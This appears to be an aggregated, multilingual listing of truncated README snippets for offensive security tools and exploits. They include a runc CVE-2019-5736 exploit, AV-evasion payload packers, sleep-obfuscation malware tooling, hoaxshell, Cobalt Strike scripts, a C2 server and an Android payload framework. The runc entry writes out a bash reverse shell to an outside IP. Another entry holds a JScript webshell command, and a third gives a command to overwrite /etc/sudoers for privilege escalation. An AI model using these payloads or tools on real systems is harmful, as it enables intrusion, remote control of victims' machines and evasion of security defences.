CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使用方法 : 该机器存在CVE-2019-5736漏洞，请按照Runc漏洞利用（CVE-2019-5736）中的步骤操作。 下载main.go文件，将文件中的payload修改为： var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 之后，运行： go build main.go 搭建一个HTTP服务器： python3 -m http.server 然后按如下方式打开3个终端： 终端1 sudo /usr/bin/docker exec...

EXOCET-AV-Evasion

EXOCET - AV回避、検出不可能なペイロード配信ツール Chang Tan AWS認定クラウドプラクティショナーおよびソリューションアーキテクトアソシエイト [email protected] EXOCETの使用方法（更新版） ペイロードをパックして、クリプターのキーが漏洩するのを防ぎ、マルウェアアナリストをさらに混乱させてください。Themidaのような商用の最高級パッカーは必須ではありません...

Shelter

Shelter Shelter 是一种完全武器化的睡眠混淆技术，它通过广泛使用 ROP 来实现内存中 payload 的完全加密。 该 crate 具有以下特点： AES-128 加密。 完整 PE 加密能力。 在睡眠期间移除执行权限。 不使用 APC/HWBP/定时器，仅使用 ROP 实现混淆。 使用 Unwinder 在执行 ROP 链之前实现调用栈欺骗。 提供不同的执行方式以适应各种情况。 其他 OPSEC 考虑：DInvokers、间接系统调用、字符串字面量加密等。 内容 用法 示例 fluctuate fluctuatefromaddress...

Forblaze

Forblaze - Python製Macステガノグラフィーペイロードジェネレーター/インライブラリ/Dylib/MachOのインメモリ実行 著者: AsaurusRex 免責事項 このプロジェクトを、正規のレッドチーム/ペネトレーションテスト業務や研究以外の目的で使用しないでください。いかなる違法行為にも使用しないでください。このプロジェクトは研究目的であり、レッドチームとブルーチームの両方のミッションを前進させるために役立つことを目的としています。 ブログ記事...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ La última versión de este proyecto es el listener independiente de HoaxShell, que incluye plantillas de payload actualizadas. También puedes usarlo directamente desde https://revshells.com asegúrate de seleccionar hoaxshell como listener. ⚠️ A partir del 18-10-2022, hoaxshell es...

Citrix_Secure_Access_LPE_0DAY

Citric Secure Access 本地权限提升 我发现了 Citrix Secure Access Windows 客户端中的一个本地权限提升漏洞。该漏洞允许具有特权的管理员注入恶意负载，以获取 NT Authority 权限。 受影响的 Citrix Secure Access 版本为 23.1.1.11 及更高版本。 以下为供您参考的概念验证（PoC）：...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 中文 README 説明 JNDI-Injection-Exploit-Plus は、動作可能な JNDI リンク を生成し、RMI サーバー、LDAP サーバー、HTTP サーバーを起動してバックグラウンドサービスを提供するツールです。 このツールを使用すると、JNDI リンクを取得できます。これらのリンクを POC に挿入して、脆弱性をテストできます。 例えば、これは Fastjson の脆弱性 POC です：...

HtmlSmuggling

HtmlSmuggling HTML smuggling（HTMLスムグリング）は、悪意のあるペイロードを特別に細工されたHTML添付ファイルやWebページ内のエンコードされたスクリプトに隠すためにハッカーが使用する悪意のある手法です。 悪意のあるスクリプトは、被害者がHTML添付ファイル/リンクを開いたりクリックしたときに、ペイロードをデコードし、対象デバイスに展開します。 HTML smuggling手法は、正当なHTML5およびJavaScript機能を活用して悪意のあるペイロードを隠し、セキュリティ検出を回避します。 HTML...

AggressorScripts

Aggressor 脚本 从多个来源收集的用于 Cobalt Strike 3.0+ 的 Aggressor 脚本集合 AllInOne.cna v1 - 已移除，已过时 用于增强用户在 cobaltstrike 中体验的多功能脚本。自定义菜单创建、日志记录、持久化、枚举以及第三方脚本集成。 第二版正在开发中！ ArtifactPayloadGenerator.cna 基于 HTTP/HTTPS 监听器生成所有类型的无阶段/有阶段 Payload 创建 /opt/cobaltstrike/StagedPayloads、/opt/cobaltstrike/StagelessPayloads...

CVE-2024-37084-Poc

CVE-2024-37084-Poc 关于 CVE-2024-37084 的设置、分析、演示利用和 PoC。 使用方法： py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show this help message and exit...

BadPfs-CVE-2022-4510

BadPfs 用于生成pfs payload以利用CVE-2022-4510的Python脚本 只需使用该脚本创建一个pfs payload。当对payload运行带-e参数的binwalk时，可以以binwalk的权限覆盖文件。 此示例在通过binwalk的-e选项打开时，将使用./data的内容覆盖/etc/sudoers。这是权限提升的绝佳方法。 python3 BadPfs.py --out=payload.pfs --data=./data --target=/etc/sudoers...

RedbloodC2

Redblood C2 公開版 This is a simple command and control server to handle sessions and your victims インストール $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js 使用方法 After install node.js and and all modules from npm execute: node server.js Now visit...

Evil-Droid

Evil-Droid フレームワーク . バージョン 0.3 作者: Mascerano Bachir dev-labs 法的免責事項: 作者はこのツールの悪用に対する一切の責任を負いません。 これは教育目的のみであることを忘れないでください。 説明: Evil-Droid は、Android プラットフォームに侵入するための APK ペイロードを作成、生成、埋め込むフレームワークです。 スクリーンショット: 依存関係 : 1 - metasploit-framework 2 - xterm 3 - Zenity 4 - Aapt 5 - Apktool 6 - Zipalign...

backdoorppt

backdoorppt - 'Office spoof extensions tool' Version release: v1.7-Stable Author: pedro ubuntu r00t-3xp10it Distros Supported: Linux Kali, Ubuntu, Mint Suspicious-Shell-Activity© SSA RedTeam develop @2017 Transform your payload.exe into one fake word doc .ppt Simple script that allow users to add...

CVE-2019-0604

一、解说k8gege的cve-2019-0604-exp.py k8gege的脚本 https://github.com/k8gege/CVE-2019-0604 老实说k8gege的py脚本有点花哨，一大堆的16进制字符串，分成 payload1,2,3, 好坏呀 python脚本远程post的payload,反序列化之后是一个xml数据体 cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var uastr=Request.UserAgent;if uastr.Substring0,...

Mythic-Macro-Generator

Mythic-Macro-Generator Mythic JXAペイロードを起動するためのMS Officeマクロを生成するPython3スクリプト。 このスクリプトは、osascriptを使用してMythic JXA .jsペイロードをダウンロードおよび実行するOfficeマクロを生成します。 手順： 1. Mythic C2サーバーをセットアップし、"apfell"...

CVE-2017-9779

通过路径用户从Windows自动执行Payload :: 什么是Cmder？ Cmder是一个软件包，创建它的纯粹原因是Windows上缺乏好用的控制台模拟器。它基于优秀的软件，并加入了Monokai色彩方案和自定义提示布局，从一开始就看起来很性感。 Cmder网站框架！ http://cmder.net/ 什么是.bashrc 是可执行文件。您编写的任何单词都会直接显示在终端上。不幸的是，对于所有Linux系统，它都适用于所有它们。 Windows中的Users是什么？ 是用户基本文件后面的文件，适用于Windows的说明性图片。 | 视频...

dontgo403

dontgo403 は、40X エラーをバイパスするためのツールです。 インストール方法 お使いの OS 向けの最新リリースは RELEASES から入手してください（現時点では古い可能性があります）。 または、自分でコンパイルすることを推奨します： git clone https://github.com/devploit/dontgo403; cd dontgo403; go get; go build カスタマイズ 新しいバイパスを追加・編集したい場合は、payloads フォルダ内の該当ファイルに直接追加すれば、ツールが自動で使用します。 オプション ./dontgo403 -h...

CVE-2024-53677-S2-067-thread

免责声明 请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 CVE-2024-53677-S2-067-thread 验证poc，https://github.com/TAM-K592/CVE-2024-53677-S2-067/ Apache Struts 的以下版本受到影响：2.0.0 至 2.5.33，6.0.0 至 6.3.0.2 根据poc的最近几天的历史，目前网上的最终版本是base64混淆，是昨天中文出来的（2024.12.18中...